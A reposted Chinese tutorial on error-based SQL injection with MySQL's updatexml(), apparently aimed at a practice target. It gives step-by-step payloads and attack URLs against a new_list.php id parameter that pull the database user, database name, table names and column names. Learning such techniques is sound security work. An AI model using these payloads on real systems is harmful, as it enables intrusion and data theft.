基于updatexml的报错注入

本文仅作为学习使用切勿非法使用

报错注入攻击

1.首先访问http://x.x.x.x/new_list.php?id=1 可以正常访问

2.接下来访问http://x.x.x.x/new_list.php?id=1' 当id=1' 会因为多了一个单引号而报错

通过页面结果返回可以看出,程序员直接将错误的信息输出到了界面上所以可以利用报错注入获取数据

报错有多种格式 这里我来演示利用updatexml()演示SQL语句获取的user()值SQL语句执行如下

`' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+`

构造语句

http://x.x.x.x/new_list.php?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

可以看到得到了user的值

2.利用updatexml()获取数据库名

SQL语句

`' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+`

构造语句

http://219.153.49.228:45517/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

利用updatexml()获取数据库表名

SQL语句

`1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+`

构造

http://x.x.x.x/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+

获取列

SQL语句

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+

构造语句

http://x.x.x.x/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='min_ju4t_mel1i' limit 0,1 ),0x7e),1)--+

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181204G12P3I00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券